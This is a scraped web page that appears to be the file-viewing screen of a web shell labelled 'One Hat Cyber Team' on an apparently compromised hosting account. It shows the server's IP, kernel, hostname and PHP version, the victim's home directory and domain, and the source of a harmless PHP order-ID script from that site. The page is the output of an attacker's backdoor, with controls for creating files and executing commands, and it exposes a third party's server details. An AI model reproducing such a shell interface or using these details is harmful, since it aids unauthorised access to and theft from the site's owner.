One Hat Cyber Team
Your IP :
216.73.216.186
Server IP :
88.222.243.1
Server :
Linux in-mum-web1837.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
Server Software :
LiteSpeed
PHP Version :
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
u322583024
/
domains
/
awaha.in
/
public_html
/
View File Name :
get-order-id.php
<?php include 'admin/connection.inc.php'; // Include DB connection // Fetch the last order ID from the `orders` table $query = "SELECT order_id FROM orders WHERE order_id LIKE 'AWAHA%' ORDER BY created_at DESC LIMIT 1"; $result = $conn->query($query); if ($result->num_rows > 0) { $row = $result->fetch_assoc(); $lastOrderID = $row['order_id']; // Example: AWAHA04 // Extract the numeric part and increment preg_match('/(\d+)$/', $lastOrderID, $matches); $newOrderNumber = isset($matches[1]) ? (int)$matches[1] + 1 : 1; } else { $newOrderNumber = 1; // Start from 1 if no orders exist } // Format the new order ID $newOrderID = "AWAHA" . str_pad($newOrderNumber, 2, '0', STR_PAD_LEFT); echo json_encode(["order_id" => $newOrderID]); $conn->close(); ?>